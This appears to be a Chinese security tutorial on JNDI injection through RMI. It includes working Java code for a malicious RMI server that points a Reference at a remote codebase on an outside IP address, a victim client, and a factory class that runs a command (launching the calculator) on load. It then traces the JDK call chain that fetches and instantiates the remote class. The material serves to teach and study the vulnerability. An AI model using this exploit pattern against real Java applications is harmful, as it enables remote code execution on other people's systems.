前面我们知道了RMI的一些机制,今天我们来学一学JNDI注入
jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图
我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象
Reference类表示对存在于命名/目录系统以外的对象的引用,因此通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
javax.naming.Reference构造方法为:
Reference(String className, String factory, String factoryLocation),
className - 远程加载时所使用的类名
classFactory - 加载的class中需要实例化类的名称
classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议
因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
package JNDI_Inesrct;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
package JNDI_Inesrct;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
这里的Calc.java要把它编译成class文件,然后放到自己的云服务器上。该恶意代码一共会弹4次计算器。
下面开始分析下它的流程,先看看整体调用栈
那我们开始分析下,前面几个lookup就不看了,是获取上下文信息的,主要讲后面的关键几步,我们从decodeObject开始看
这里是将从服务端返回的ReferenceWrapper_Stub存根传入该函数
这里利用ReferenceWrapper_Stub执行getReference()获得了一个Reference对象
接着我们跟入getObjectInstance(),此处为获取Factory类的实例。
319行这里调用了getObjectFactoryFromReference(),我们跟进getObjectFactoryFromReference()
146行处clas = helper.loadClass(factoryName);尝试从本地加载Factory类,如果本地不存在此类,158行处则会从codebase中加载:clas = helper.loadClass(factoryName, codebase),从远程加载我们恶意class
我们跟进158行的loadclass看看
可以看到他是通过URLClassLoader从远程动态加载我们的恶意类。
继续跟入loadclass()
这里调用了forname,就会加载这个类,从而执行到static方法可以进行第一次命令执行。
继续调式回到getObjectFactoryFromReference()
在return那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;对我们的恶意类进行一个实例化,这里执行完就会调用代码块和无参构造方法,弹出两个计算器
继续执行会调用getObjectInstance方法,这里还会弹出一个计算器
上面的例子有两处源代码可被我们直接利用,我们主要是通过上面的调试,体会一下利用JNDI注入通过Reference加载远程的Factory类的流程,更方面于我们理解上面提到的知识点。而LDAP相关的攻击和RMI差不多,感兴趣的可以看看下面的参考文章有提到
调用链
lookup->decodeObject->getObjectFactoryFromReference->getObjectFactoryFromReference->loadclass->URLClassLoader.newInstance->loadclass->forname
lookup->decodeObject->getObjectFactoryFromReference->getObjectFactoryFromReference->loadclass->URLClassLoader.newInstance->loadclass->forname->newInstance()
参考文章
https://blog.csdn.net/u011479200/article/details/108246846
https://www.cnblogs.com/yyhuni/p/15083613.html
https://xz.aliyun.com/t/8214